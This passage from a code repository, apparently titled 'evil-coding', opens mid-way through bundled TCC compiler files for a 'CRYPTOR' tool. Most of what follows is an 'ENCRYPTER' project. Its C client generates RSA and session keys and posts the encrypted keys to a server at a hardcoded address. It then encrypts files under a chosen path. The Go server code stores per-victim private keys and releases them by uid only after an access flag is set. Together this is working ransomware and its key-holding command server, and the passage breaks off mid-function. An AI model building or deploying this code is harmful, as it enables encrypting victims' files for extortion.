VIF_OUTOFMEMORY 0x00008000L 100 | 101 | #define VIF_CANNOTREADSRC 0x00010000L 102 | #define VIF_CANNOTREADDST 0x00020000L 103 | 104 | #define VIF_BUFFTOOSMALL 0x00040000L 105 | #define VIF_CANNOTLOADLZ32 0x00080000L 106 | #define VIF_CANNOTLOADCABINET 0x00100000L 107 | 108 | #ifndef RC_INVOKED 109 | 110 | typedef struct tagVS_FIXEDFILEINFO 111 | { 112 | DWORD dwSignature; 113 | DWORD dwStrucVersion; 114 | DWORD dwFileVersionMS; 115 | DWORD dwFileVersionLS; 116 | DWORD dwProductVersionMS; 117 | DWORD dwProductVersionLS; 118 | DWORD dwFileFlagsMask; 119 | DWORD dwFileFlags; 120 | DWORD dwFileOS; 121 | DWORD dwFileType; 122 | DWORD dwFileSubtype; 123 | DWORD dwFileDateMS; 124 | DWORD dwFileDateLS; 125 | } VS_FIXEDFILEINFO; 126 | 127 | #ifdef UNICODE 128 | #define VerFindFile VerFindFileW 129 | #define VerInstallFile VerInstallFileW 130 | #define GetFileVersionInfoSize GetFileVersionInfoSizeW 131 | #define GetFileVersionInfo GetFileVersionInfoW 132 | #define VerLanguageName VerLanguageNameW 133 | #define VerQueryValue VerQueryValueW 134 | #else 135 | #define VerFindFile VerFindFileA 136 | #define VerInstallFile VerInstallFileA 137 | #define GetFileVersionInfoSize GetFileVersionInfoSizeA 138 | #define GetFileVersionInfo GetFileVersionInfoA 139 | #define VerLanguageName VerLanguageNameA 140 | #define VerQueryValue VerQueryValueA 141 | #endif 142 | 143 | DWORD WINAPI VerFindFileA(DWORD uFlags,LPSTR szFileName,LPSTR szWinDir,LPSTR szAppDir,LPSTR szCurDir,PUINT lpuCurDirLen,LPSTR szDestDir,PUINT lpuDestDirLen); 144 | DWORD WINAPI VerFindFileW(DWORD uFlags,LPWSTR szFileName,LPWSTR szWinDir,LPWSTR szAppDir,LPWSTR szCurDir,PUINT lpuCurDirLen,LPWSTR szDestDir,PUINT lpuDestDirLen); 145 | DWORD WINAPI VerInstallFileA(DWORD uFlags,LPSTR szSrcFileName,LPSTR szDestFileName,LPSTR szSrcDir,LPSTR szDestDir,LPSTR szCurDir,LPSTR szTmpFile,PUINT lpuTmpFileLen); 146 | DWORD WINAPI VerInstallFileW(DWORD uFlags,LPWSTR szSrcFileName,LPWSTR szDestFileName,LPWSTR szSrcDir,LPWSTR szDestDir,LPWSTR szCurDir,LPWSTR szTmpFile,PUINT lpuTmpFileLen); 147 | DWORD WINAPI GetFileVersionInfoSizeA(LPCSTR lptstrFilename,LPDWORD lpdwHandle); 148 | DWORD WINAPI GetFileVersionInfoSizeW(LPCWSTR lptstrFilename,LPDWORD lpdwHandle); 149 | WINBOOL WINAPI GetFileVersionInfoA(LPCSTR lptstrFilename,DWORD dwHandle,DWORD dwLen,LPVOID lpData); 150 | WINBOOL WINAPI GetFileVersionInfoW(LPCWSTR lptstrFilename,DWORD dwHandle,DWORD dwLen,LPVOID lpData); 151 | DWORD WINAPI VerLanguageNameA(DWORD wLang,LPSTR szLang,DWORD nSize); 152 | DWORD WINAPI VerLanguageNameW(DWORD wLang,LPWSTR szLang,DWORD nSize); 153 | WINBOOL WINAPI VerQueryValueA(const LPVOID pBlock,LPSTR lpSubBlock,LPVOID *lplpBuffer,PUINT puLen); 154 | WINBOOL WINAPI VerQueryValueW(const LPVOID pBlock,LPWSTR lpSubBlock,LPVOID *lplpBuffer,PUINT puLen); 155 | #endif 156 | 157 | #ifdef __cplusplus 158 | } 159 | #endif 160 | #endif 161 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/lib/gdi32.def: -------------------------------------------------------------------------------- 1 | LIBRARY gdi32.dll 2 | 3 | EXPORTS 4 | AbortDoc 5 | AbortPath 6 | AddFontResourceA 7 | AddFontResourceW 8 | AngleArc 9 | AnimatePalette 10 | Arc 11 | ArcTo 12 | BeginPath 13 | BitBlt 14 | ByeByeGDI 15 | CancelDC 16 | CheckColorsInGamut 17 | ChoosePixelFormat 18 | Chord 19 | CloseEnhMetaFile 20 | CloseFigure 21 | CloseMetaFile 22 | ColorCorrectPalette 23 | ColorMatchToTarget 24 | CombineRgn 25 | CombineTransform 26 | CopyEnhMetaFileA 27 | CopyEnhMetaFileW 28 | CopyMetaFileA 29 | CopyMetaFileW 30 | CreateBitmap 31 | CreateBitmapIndirect 32 | CreateBrushIndirect 33 | CreateColorSpaceA 34 | CreateColorSpaceW 35 | CreateCompatibleBitmap 36 | CreateCompatibleDC 37 | CreateDCA 38 | CreateDCW 39 | CreateDIBPatternBrush 40 | CreateDIBPatternBrushPt 41 | CreateDIBSection 42 | CreateDIBitmap 43 | CreateDiscardableBitmap 44 | CreateEllipticRgn 45 | CreateEllipticRgnIndirect 46 | CreateEnhMetaFileA 47 | CreateEnhMetaFileW 48 | CreateFontA 49 | CreateFontIndirectA 50 | CreateFontIndirectW 51 | CreateFontW 52 | CreateHalftonePalette 53 | CreateHatchBrush 54 | CreateICA 55 | CreateICW 56 | CreateMetaFileA 57 | CreateMetaFileW 58 | CreatePalette 59 | CreatePatternBrush 60 | CreatePen 61 | CreatePenIndirect 62 | CreatePolyPolygonRgn 63 | CreatePolygonRgn 64 | CreateRectRgn 65 | CreateRectRgnIndirect 66 | CreateRoundRectRgn 67 | CreateScalableFontResourceA 68 | CreateScalableFontResourceW 69 | CreateSolidBrush 70 | DPtoLP 71 | DeleteColorSpace 72 | DeleteDC 73 | DeleteEnhMetaFile 74 | DeleteMetaFile 75 | DeleteObject 76 | DescribePixelFormat 77 | DeviceCapabilitiesEx 78 | DeviceCapabilitiesExA 79 | DeviceCapabilitiesExW 80 | DrawEscape 81 | Ellipse 82 | EnableEUDC 83 | EndDoc 84 | EndPage 85 | EndPath 86 | EnumEnhMetaFile 87 | EnumFontFamiliesA 88 | EnumFontFamiliesExA 89 | EnumFontFamiliesExW 90 | EnumFontFamiliesW 91 | EnumFontsA 92 | EnumFontsW 93 | EnumICMProfilesA 94 | EnumICMProfilesW 95 | EnumMetaFile 96 | EnumObjects 97 | EqualRgn 98 | Escape 99 | ExcludeClipRect 100 | ExtCreatePen 101 | ExtCreateRegion 102 | ExtEscape 103 | ExtFloodFill 104 | ExtSelectClipRgn 105 | ExtTextOutA 106 | ExtTextOutW 107 | FillPath 108 | FillRgn 109 | FixBrushOrgEx 110 | FlattenPath 111 | FloodFill 112 | FrameRgn 113 | GdiComment 114 | GdiFlush 115 | GdiGetBatchLimit 116 | GdiPlayDCScript 117 | GdiPlayJournal 118 | GdiPlayScript 119 | GdiSetBatchLimit 120 | GetArcDirection 121 | GetAspectRatioFilterEx 122 | GetBitmapBits 123 | GetBitmapDimensionEx 124 | GetBkColor 125 | GetBkMode 126 | GetBoundsRect 127 | GetBrushOrgEx 128 | GetCharABCWidthsA 129 | GetCharABCWidthsFloatA 130 | GetCharABCWidthsFloatW 131 | GetCharABCWidthsW 132 | GetCharWidth32A 133 | GetCharWidth32W 134 | GetCharWidthA 135 | GetCharWidthFloatA 136 | GetCharWidthFloatW 137 | GetCharWidthW 138 | GetCharacterPlacementA 139 | GetCharacterPlacementW 140 | GetClipBox 141 | GetClipRgn 142 | GetColorAdjustment 143 | GetColorSpace 144 | GetCurrentObject 145 | GetCurrentPositionEx 146 | GetDCOrgEx 147 | GetDIBColorTable 148 | GetDIBits 149 | GetDeviceCaps 150 | GetDeviceGammaRamp 151 | GetEnhMetaFileA 152 | GetEnhMetaFileBits 153 | GetEnhMetaFileDescriptionA 154 | GetEnhMetaFileDescriptionW 155 | GetEnhMetaFileHeader 156 | GetEnhMetaFilePaletteEntries 157 | GetEnhMetaFileW 158 | GetFontData 159 | GetFontLanguageInfo 160 | GetFontResourceInfo 161 | GetGlyphOutline 162 | GetGlyphOutlineA 163 | GetGlyphOutlineW 164 | GetGraphicsMode 165 | GetICMProfileA 166 | GetICMProfileW 167 | GetKerningPairs 168 | GetKerningPairsA 169 | GetKerningPairsW 170 | GetLayout 171 | GetLogColorSpaceA 172 | GetLogColorSpaceW 173 | GetMapMode 174 | GetMetaFileA 175 | GetMetaFileBitsEx 176 | GetMetaFileW 177 | GetMetaRgn 178 | GetMiterLimit 179 | GetNearestColor 180 | GetNearestPaletteIndex 181 | GetObjectA 182 | GetObjectType 183 | GetObjectW 184 | GetOutlineTextMetricsA 185 | GetOutlineTextMetricsW 186 | GetPaletteEntries 187 | GetPath 188 | GetPixel 189 | GetPixelFormat 190 | GetPolyFillMode 191 | GetROP2 192 | GetRandomRgn 193 | GetRasterizerCaps 194 | GetRegionData 195 | GetRgnBox 196 | GetStockObject 197 | GetStretchBltMode 198 | GetSystemPaletteEntries 199 | GetSystemPaletteUse 200 | GetTextAlign 201 | GetTextCharacterExtra 202 | GetTextCharset 203 | GetTextCharsetInfo 204 | GetTextColor 205 | GetTextExtentExPointA 206 | GetTextExtentExPointW 207 | GetTextExtentPoint32A 208 | GetTextExtentPoint32W 209 | GetTextExtentPointA 210 | GetTextExtentPointW 211 | GetTextFaceA 212 | GetTextFaceW 213 | GetTextMetricsA 214 | GetTextMetricsW 215 | GetViewportExtEx 216 | GetViewportOrgEx 217 | GetWinMetaFileBits 218 | GetWindowExtEx 219 | GetWindowOrgEx 220 | GetWorldTransform 221 | IntersectClipRect 222 | InvertRgn 223 | LPtoDP 224 | LineDDA 225 | LineTo 226 | MaskBlt 227 | ModifyWorldTransform 228 | MoveToEx 229 | OffsetClipRgn 230 | OffsetRgn 231 | OffsetViewportOrgEx 232 | OffsetWindowOrgEx 233 | PaintRgn 234 | PatBlt 235 | PathToRegion 236 | Pie 237 | PlayEnhMetaFile 238 | PlayEnhMetaFileRecord 239 | PlayMetaFile 240 | PlayMetaFileRecord 241 | PlgBlt 242 | PolyBezier 243 | PolyBezierTo 244 | PolyDraw 245 | PolyPolygon 246 | PolyPolyline 247 | PolyTextOutA 248 | PolyTextOutW 249 | Polygon 250 | Polyline 251 | PolylineTo 252 | PtInRegion 253 | PtVisible 254 | RealizePalette 255 | RectInRegion 256 | RectVisible 257 | Rectangle 258 | RemoveFontResourceA 259 | RemoveFontResourceW 260 | ResetDCA 261 | ResetDCW 262 | ResizePalette 263 | RestoreDC 264 | RoundRect 265 | SaveDC 266 | ScaleViewportExtEx 267 | ScaleWindowExtEx 268 | SelectClipPath 269 | SelectClipRgn 270 | SelectObject 271 | SelectPalette 272 | SetAbortProc 273 | SetArcDirection 274 | SetBitmapBits 275 | SetBitmapDimensionEx 276 | SetBkColor 277 | SetBkMode 278 | SetBoundsRect 279 | SetBrushOrgEx 280 | SetColorAdjustment 281 | SetColorSpace 282 | SetDIBColorTable 283 | SetDIBits 284 | SetDIBitsToDevice 285 | SetDeviceGammaRamp 286 | SetEnhMetaFileBits 287 | SetFontEnumeration 288 | SetGraphicsMode 289 | SetICMMode 290 | SetICMProfileA 291 | SetICMProfileW 292 | SetLayout 293 | SetMagicColors 294 | SetMapMode 295 | SetMapperFlags 296 | SetMetaFileBitsEx 297 | SetMetaRgn 298 | SetMiterLimit 299 | SetObjectOwner 300 | SetPaletteEntries 301 | SetPixel 302 | SetPixelFormat 303 | SetPixelV 304 | SetPolyFillMode 305 | SetROP2 306 | SetRectRgn 307 | SetStretchBltMode 308 | SetSystemPaletteUse 309 | SetTextAlign 310 | SetTextCharacterExtra 311 | SetTextColor 312 | SetTextJustification 313 | SetViewportExtEx 314 | SetViewportOrgEx 315 | SetWinMetaFileBits 316 | SetWindowExtEx 317 | SetWindowOrgEx 318 | SetWorldTransform 319 | StartDocA 320 | StartDocW 321 | StartPage 322 | StretchBlt 323 | StretchDIBits 324 | StrokeAndFillPath 325 | StrokePath 326 | SwapBuffers 327 | TextOutA 328 | TextOutW 329 | TranslateCharsetInfo 330 | UnrealizeObject 331 | UpdateColors 332 | UpdateICMRegKeyA 333 | UpdateICMRegKeyW 334 | WidenPath 335 | gdiPlaySpoolStream 336 | pfnRealizePalette 337 | pfnSelectPalette 338 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/lib/libtcc1-32.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/number571/evil-coding/0d43927cc9b894ea31db5ec3b2b9a9881636c72b/CRYPTOR/sources/tcc32/lib/libtcc1-32.a -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/lib/libtcc1-64.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/number571/evil-coding/0d43927cc9b894ea31db5ec3b2b9a9881636c72b/CRYPTOR/sources/tcc32/lib/libtcc1-64.a -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/libtcc.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/number571/evil-coding/0d43927cc9b894ea31db5ec3b2b9a9881636c72b/CRYPTOR/sources/tcc32/libtcc.dll -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/libtcc/libtcc.def: -------------------------------------------------------------------------------- 1 | LIBRARY libtcc.dll 2 | 3 | EXPORTS 4 | tcc_add_file 5 | tcc_add_include_path 6 | tcc_add_library 7 | tcc_add_library_err 8 | tcc_add_library_path 9 | tcc_add_symbol 10 | tcc_add_sysinclude_path 11 | tcc_basename 12 | tcc_compile_string 13 | tcc_define_symbol 14 | tcc_delete 15 | tcc_error 16 | tcc_error_noabort 17 | tcc_fileextension 18 | tcc_free 19 | tcc_get_dllexports 20 | tcc_get_symbol 21 | tcc_malloc 22 | tcc_mallocz 23 | tcc_memcheck 24 | tcc_new 25 | tcc_output_file 26 | tcc_parse_args 27 | tcc_print_stats 28 | tcc_realloc 29 | tcc_relocate 30 | tcc_run 31 | tcc_set_error_func 32 | tcc_set_lib_path 33 | tcc_set_options 34 | tcc_set_output_type 35 | tcc_strdup 36 | tcc_undefine_symbol 37 | tcc_warning 38 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/libtcc/libtcc.h: -------------------------------------------------------------------------------- 1 | #ifndef LIBTCC_H 2 | #define LIBTCC_H 3 | 4 | #ifndef LIBTCCAPI 5 | # define LIBTCCAPI 6 | #endif 7 | 8 | #ifdef __cplusplus 9 | extern "C" { 10 | #endif 11 | 12 | struct TCCState; 13 | 14 | typedef struct TCCState TCCState; 15 | 16 | /* create a new TCC compilation context */ 17 | LIBTCCAPI TCCState *tcc_new(void); 18 | 19 | /* free a TCC compilation context */ 20 | LIBTCCAPI void tcc_delete(TCCState *s); 21 | 22 | /* set CONFIG_TCCDIR at runtime */ 23 | LIBTCCAPI void tcc_set_lib_path(TCCState *s, const char *path); 24 | 25 | /* set error/warning display callback */ 26 | LIBTCCAPI void tcc_set_error_func(TCCState *s, void *error_opaque, 27 | void (*error_func)(void *opaque, const char *msg)); 28 | 29 | /* set options as from command line (multiple supported) */ 30 | LIBTCCAPI void tcc_set_options(TCCState *s, const char *str); 31 | 32 | /*****************************/ 33 | /* preprocessor */ 34 | 35 | /* add include path */ 36 | LIBTCCAPI int tcc_add_include_path(TCCState *s, const char *pathname); 37 | 38 | /* add in system include path */ 39 | LIBTCCAPI int tcc_add_sysinclude_path(TCCState *s, const char *pathname); 40 | 41 | /* define preprocessor symbol 'sym'. Can put optional value */ 42 | LIBTCCAPI void tcc_define_symbol(TCCState *s, const char *sym, const char *value); 43 | 44 | /* undefine preprocess symbol 'sym' */ 45 | LIBTCCAPI void tcc_undefine_symbol(TCCState *s, const char *sym); 46 | 47 | /*****************************/ 48 | /* compiling */ 49 | 50 | /* add a file (C file, dll, object, library, ld script). Return -1 if error. */ 51 | LIBTCCAPI int tcc_add_file(TCCState *s, const char *filename); 52 | 53 | /* compile a string containing a C source. Return -1 if error. */ 54 | LIBTCCAPI int tcc_compile_string(TCCState *s, const char *buf); 55 | 56 | /*****************************/ 57 | /* linking commands */ 58 | 59 | /* set output type. MUST BE CALLED before any compilation */ 60 | LIBTCCAPI int tcc_set_output_type(TCCState *s, int output_type); 61 | #define TCC_OUTPUT_MEMORY 1 /* output will be run in memory (default) */ 62 | #define TCC_OUTPUT_EXE 2 /* executable file */ 63 | #define TCC_OUTPUT_DLL 3 /* dynamic library */ 64 | #define TCC_OUTPUT_OBJ 4 /* object file */ 65 | #define TCC_OUTPUT_PREPROCESS 5 /* only preprocess (used internally) */ 66 | 67 | /* equivalent to -Lpath option */ 68 | LIBTCCAPI int tcc_add_library_path(TCCState *s, const char *pathname); 69 | 70 | /* the library name is the same as the argument of the '-l' option */ 71 | LIBTCCAPI int tcc_add_library(TCCState *s, const char *libraryname); 72 | 73 | /* add a symbol to the compiled program */ 74 | LIBTCCAPI int tcc_add_symbol(TCCState *s, const char *name, const void *val); 75 | 76 | /* output an executable, library or object file. DO NOT call 77 | tcc_relocate() before. */ 78 | LIBTCCAPI int tcc_output_file(TCCState *s, const char *filename); 79 | 80 | /* link and run main() function and return its value. DO NOT call 81 | tcc_relocate() before. */ 82 | LIBTCCAPI int tcc_run(TCCState *s, int argc, char **argv); 83 | 84 | /* do all relocations (needed before using tcc_get_symbol()) */ 85 | LIBTCCAPI int tcc_relocate(TCCState *s1, void *ptr); 86 | /* possible values for 'ptr': 87 | - TCC_RELOCATE_AUTO : Allocate and manage memory internally 88 | - NULL : return required memory size for the step below 89 | - memory address : copy code to memory passed by the caller 90 | returns -1 if error. */ 91 | #define TCC_RELOCATE_AUTO (void*)1 92 | 93 | /* return symbol value or NULL if not found */ 94 | LIBTCCAPI void *tcc_get_symbol(TCCState *s, const char *name); 95 | 96 | #ifdef __cplusplus 97 | } 98 | #endif 99 | 100 | #endif 101 | -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/tcc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/number571/evil-coding/0d43927cc9b894ea31db5ec3b2b9a9881636c72b/CRYPTOR/sources/tcc32/tcc.exe -------------------------------------------------------------------------------- /CRYPTOR/sources/tcc32/x86_64-win32-tcc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/number571/evil-coding/0d43927cc9b894ea31db5ec3b2b9a9881636c72b/CRYPTOR/sources/tcc32/x86_64-win32-tcc.exe -------------------------------------------------------------------------------- /ENCRYPTER/BUILDER/Makefile: -------------------------------------------------------------------------------- 1 | .PHONY: default build 2 | default: build 3 | build: builder.py 4 | python3 builder.py 5 | clean: 6 | rm -f encrypter.c enckernel.c server.go crypto.go database.go 7 | -------------------------------------------------------------------------------- /ENCRYPTER/sources/Makefile: -------------------------------------------------------------------------------- 1 | CC=gcc 2 | CFLAGS=-Wall -std=c99 3 | CFILES=encrypter.c enckernel.c extclib/extclib.o 4 | 5 | GC=go build 6 | GFILES=server.go crypto.go database.go 7 | 8 | .PHONY: default install build 9 | default: install build 10 | install: 11 | git clone https://github.com/number571/extclib.git 12 | make -C extclib/ 13 | build: $(CFILES) $(GFILES) 14 | $(CC) -o encrypter $(CFILES) $(CFLAGS) -lcrypto 15 | $(GC) -o server $(GFILES) 16 | clean: 17 | rm -rf extclib/ 18 | rm -f encrypter server database.db 19 | -------------------------------------------------------------------------------- /ENCRYPTER/sources/crypto.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/aes" 5 | "crypto/cipher" 6 | "crypto/rand" 7 | "crypto/rsa" 8 | "crypto/sha1" 9 | "crypto/sha256" 10 | "crypto/x509" 11 | "encoding/hex" 12 | "encoding/pem" 13 | ) 14 | 15 | func HexEncode(data []byte) string { 16 | return hex.EncodeToString(data) 17 | } 18 | 19 | func HexDecode(data string) []byte { 20 | res, err := hex.DecodeString(data) 21 | if err != nil { 22 | return nil 23 | } 24 | return res 25 | } 26 | 27 | func DecryptRSA(priv *rsa.PrivateKey, data []byte) []byte { 28 | data, err := rsa.DecryptOAEP(sha1.New(), rand.Reader, priv, data, nil) 29 | if err != nil { 30 | return nil 31 | } 32 | return data 33 | } 34 | 35 | func DecryptAES(key, data []byte) []byte { 36 | block, err := aes.NewCipher(key) 37 | if err != nil { 38 | return nil 39 | } 40 | blockSize := block.BlockSize() 41 | if len(data) < blockSize { 42 | return nil 43 | } 44 | iv := data[:blockSize] 45 | data = data[blockSize:] 46 | if len(data)%blockSize != 0 { 47 | return nil 48 | } 49 | mode := cipher.NewCBCDecrypter(block, iv) 50 | mode.CryptBlocks(data, data) 51 | return unpaddingPKCS5(data) 52 | } 53 | 54 | func unpaddingPKCS5(origData []byte) []byte { 55 | length := len(origData) 56 | if length == 0 { 57 | return nil 58 | } 59 | unpadding := int(origData[length-1]) 60 | if length < unpadding { 61 | return nil 62 | } 63 | return origData[:(length - unpadding)] 64 | } 65 | 66 | func ParsePrivate(privData []byte) *rsa.PrivateKey { 67 | block, _ := pem.Decode(privData) 68 | if block == nil { 69 | return nil 70 | } 71 | priv, err := x509.ParsePKCS1PrivateKey(block.Bytes) 72 | if err != nil { 73 | return nil 74 | } 75 | return priv 76 | } 77 | 78 | func BytesPrivate(priv *rsa.PrivateKey) []byte { 79 | bytes := x509.MarshalPKCS1PrivateKey(priv) 80 | privData := pem.EncodeToMemory( 81 | &pem.Block{ 82 | Type: "RSA PRIVATE KEY", 83 | Bytes: bytes, 84 | }, 85 | ) 86 | return privData 87 | } 88 | 89 | func BytesPublic(pub *rsa.PublicKey) []byte { 90 | bytes := x509.MarshalPKCS1PublicKey(pub) 91 | pubData := pem.EncodeToMemory( 92 | &pem.Block{ 93 | Type: "RSA PUBLIC KEY", 94 | Bytes: bytes, 95 | }, 96 | ) 97 | return pubData 98 | } 99 | 100 | func HashPublic(pub *rsa.PublicKey) string { 101 | return HexEncode(HashSum(BytesPublic(pub))) 102 | } 103 | 104 | func HashSum(data []byte) []byte { 105 | hash := sha256.Sum256(data) 106 | return hash[:] 107 | } -------------------------------------------------------------------------------- /ENCRYPTER/sources/database.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "crypto/rsa" 5 | "database/sql" 6 | _ "github.com/mattn/go-sqlite3" 7 | "sync" 8 | ) 9 | 10 | type DB struct { 11 | ptr *sql.DB 12 | mtx sync.Mutex 13 | } 14 | 15 | type User struct { 16 | Id int 17 | Access bool 18 | Uid string 19 | PrvKey string 20 | } 21 | 22 | func DBInit(filename string) *DB { 23 | db, err := sql.Open("sqlite3", filename) 24 | if err != nil { 25 | return nil 26 | } 27 | _, err = db.Exec(` 28 | CREATE TABLE IF NOT EXISTS users ( 29 | id INTEGER, 30 | access BOOLEAN, 31 | uid VARCHAR(255) UNIQUE, 32 | prvkey VARCHAR(4096), 33 | PRIMARY KEY(id) 34 | ); 35 | `) 36 | if err != nil { 37 | return nil 38 | } 39 | return &DB{ 40 | ptr: db, 41 | } 42 | } 43 | 44 | func (db *DB) UpdateAccess(id string, mode bool) error { 45 | db.mtx.Lock() 46 | defer db.mtx.Unlock() 47 | _, err := db.ptr.Exec( 48 | "UPDATE users SET access=$1 WHERE id=$2", 49 | mode, 50 | id, 51 | ) 52 | return err 53 | } 54 | 55 | func (db *DB) GetUserByID(id int) *User { 56 | db.mtx.Lock() 57 | defer db.mtx.Unlock() 58 | var ( 59 | access bool 60 | uid string 61 | prvkey string 62 | ) 63 | row := db.ptr.QueryRow( 64 | "SELECT access, uid, prvkey FROM users WHERE id=$1", 65 | id, 66 | ) 67 | row.Scan(&access, &uid, &prvkey) 68 | if prvkey == "" { 69 | return nil 70 | } 71 | return &User{ 72 | Id: id, 73 | Access: access, 74 | Uid: uid, 75 | PrvKey: string(HexDecode(prvkey)), 76 | } 77 | } 78 | 79 | func (db *DB) Size() int { 80 | db.mtx.Lock() 81 | defer db.mtx.Unlock() 82 | var id int 83 | row := db.ptr.QueryRow( 84 | "SELECT id FROM users ORDER BY id DESC LIMIT 1", 85 | ) 86 | row.Scan(&id) 87 | return id 88 | } 89 | 90 | func (db *DB) SetKey(uid string, key *rsa.PrivateKey) error { 91 | db.mtx.Lock() 92 | defer db.mtx.Unlock() 93 | _, err := db.ptr.Exec( 94 | "INSERT INTO users (access, uid, prvkey) VALUES ($1, $2, $3)", 95 | 0, 96 | uid, 97 | HexEncode(BytesPrivate(key)), 98 | ) 99 | return err 100 | } 101 | 102 | func (db *DB) GetKey(uid string) *rsa.PrivateKey { 103 | db.mtx.Lock() 104 | defer db.mtx.Unlock() 105 | var strprv string 106 | row := db.ptr.QueryRow( 107 | "SELECT prvkey FROM users WHERE access=1 AND uid=$1", 108 | uid, 109 | ) 110 | row.Scan(&strprv) 111 | return ParsePrivate(HexDecode(strprv)) 112 | } 113 | -------------------------------------------------------------------------------- /ENCRYPTER/sources/encrypter.c: -------------------------------------------------------------------------------- 1 | #include "extclib/crypto.h" 2 | #include "extclib/net.h" 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #define ENCRYPT_MODE 1 10 | #define DECRYPT_MODE -1 11 | 12 | #define OPTION ENCRYPT_MODE 13 | // #define OPTION DECRYPT_MODE 14 | 15 | #define BUFSIZ_1K (1 << 10) 16 | #define BUFSIZ_2K (2 << 10) 17 | #define BUFSIZ_4K (4 << 10) 18 | #define BUFSIZ_8K (8 << 10) 19 | 20 | #define ENCPATH "./test" 21 | #define ADDRESS "127.0.0.1", 8080 22 | 23 | #if OPTION != ENCRYPT_MODE && OPTION != DECRYPT_MODE 24 | #error "option undefined" 25 | #endif 26 | 27 | extern int path_encrypt(int mode, const char *pathname, crypto_rsa *key); 28 | extern int file_encrypt(int mode, const char *pathname, const char *filename, const uint8_t *key); 29 | 30 | #if OPTION == ENCRYPT_MODE 31 | static crypto_rsa *generate_encrypted_keys(const char *pempub, char *outskey, char *outpriv); 32 | static const char *pem_public_key = "-----BEGIN RSA PUBLIC KEY-----\n" 33 | "MIICCgKCAgEAtyGmMa66N4dSVSaT0bBKgGC7Bb6Jt6TXpXItRPADg2X/gQjj8u8q\n" 34 | "Vj+MIvjxi+J1sgiLMVlQPvBlgpmw3sKkDMiGRdKQtETu54Yw77ejZbk+WiICtbdn\n" 35 | "JYp33rWAUY1+FfXWh5C0WwcDQ5KKVHi2ij7+JctxMlp4jafWWDSZ1V5z7Cj7WxW2\n" 36 | "RfymV+C1qWgVYptiIgXnnP8qAkxUGenCOLvz0zTUUZTJkSLBWdHyy6jSw20dIwAU\n" 37 | "E+kTl9Rxmv28e99f7dRAs65s52djlDYObcYPxVNx2A9p/3D4oM+p+ySJEDlGMTFZ\n" 38 | "l/PTUgZZd34KNqXFwuy6OkmqIB750OoqjlD2qDQ3hM9dQQxBPYrumK03l5Wdzw+L\n" 39 | "jA7a5l5M5ON7ieXjg6OonrYUlXXeteIIwOkByMXmxdvTlBhsOSW7OKO+XqhIpaKc\n" 40 | "wpCuosYmue8QbTeGCFTtsejcNwMSnbXY5QOt6u1E7C0JIE8vagePKaxj8pVCEvXG\n" 41 | "VLXXeNZD2HKlocgeJwM6ZWcvEtrnGNh+EaT1dNKybmwYRyllGxPiEx/DjDYF8Wvd\n" 42 | "wofBmiQwEXnsBzHhUHduXhucuFTIQtTD3EbwazRnMH9yoa1a57JaKCN/j/RhP9aJ\n" 43 | "pdIdlfX+NxNIwSf/IM5T3jS/IdwFbX2IIhzMOIATRzewnkgh6k6IcR8CAwEAAQ==\n" 44 | "-----END RSA PUBLIC KEY-----\n"; 45 | #endif 46 | 47 | int main(int argc, char const *argv[]) { 48 | char buffer[BUFSIZ_8K]; 49 | net_conn *conn; 50 | crypto_rsa *key; 51 | 52 | try_conn: 53 | /* create connection */ 54 | conn = net_connect(ADDRESS); 55 | if (conn == NULL) { 56 | sleep(5); 57 | goto try_conn; 58 | } 59 | 60 | #if OPTION == ENCRYPT_MODE 61 | char encseskey[BUFSIZ_2K]; 62 | char encprvkey[BUFSIZ_4K]; 63 | 64 | /* generate and encrypt private, session keys 65 | return public key */ 66 | key = generate_encrypted_keys(pem_public_key, encseskey, encprvkey); 67 | 68 | /* send encrypted keys */ 69 | snprintf(buffer, BUFSIZ_8K, "{\"head\":\"/PUT\", \"body\":[\"%s\", \"%s\"]}", encseskey, encprvkey); 70 | net_http_post(conn, "/cmd", buffer); 71 | 72 | /* encrypt with public key */ 73 | path_encrypt(ENCRYPT_MODE, ENCPATH, key); 74 | 75 | #elif OPTION == DECRYPT_MODE 76 | char hexprvkey[BUFSIZ_4K]; 77 | char pemprvkey[BUFSIZ_2K]; 78 | 79 | char *ptr; 80 | int ret; 81 | 82 | if (argc < 2) { 83 | fprintf(stderr, "run example: ./decrypter uid\n"); 84 | return 1; 85 | } 86 | 87 | /* download private key */ 88 | snprintf(buffer, BUFSIZ_8K, "{\"head\":\"/GET\", \"body\":[\"%s\"]}", argv[1]); 89 | net_http_post(conn, "/cmd", buffer); 90 | ret = net_recv(conn, buffer, BUFSIZ_8K-1); 91 | buffer[ret] = '\0'; 92 | 93 | /* pass http headers */ 94 | ptr = strstr(buffer, "{"); 95 | if (ptr == NULL) { 96 | fprintf(stderr, "error: not found '{'\n"); 97 | return 2; 98 | } 99 | 100 | char inputs[BUFSIZ_1K]; 101 | sprintf(inputs, "{\"return\":%%d,\"result\":\"%%%d[^\"]\"}", BUFSIZ_4K-1); 102 | 103 | /* parse json */ 104 | ret = -1; 105 | sscanf(ptr, inputs, &ret, hexprvkey); 106 | if (ret != 0) { 107 | fprintf(stderr, "error: return code = %d\n", ret); 108 | return 3; 109 | } 110 | 111 | /* load private key */ 112 | crypto_hex(DECRYPT_MODE, pemprvkey, BUFSIZ_2K, hexprvkey, strlen(hexprvkey)); 113 | key = crypto_rsa_loadprv(pemprvkey); 114 | 115 | /* start decrypt */ 116 | path_encrypt(DECRYPT_MODE, ENCPATH, key); 117 | 118 | #endif 119 | crypto_rsa_free(key); 120 | net_close(conn); 121 | return 0; 122 | } 123 | 124 | #if OPTION == ENCRYPT_MODE 125 | // encrypt_keys returns [public_key] 126 | // outpriv = hex(encrypt(private_key)) 127 | // outskey = hex(encrypt(session_key)) 128 | static 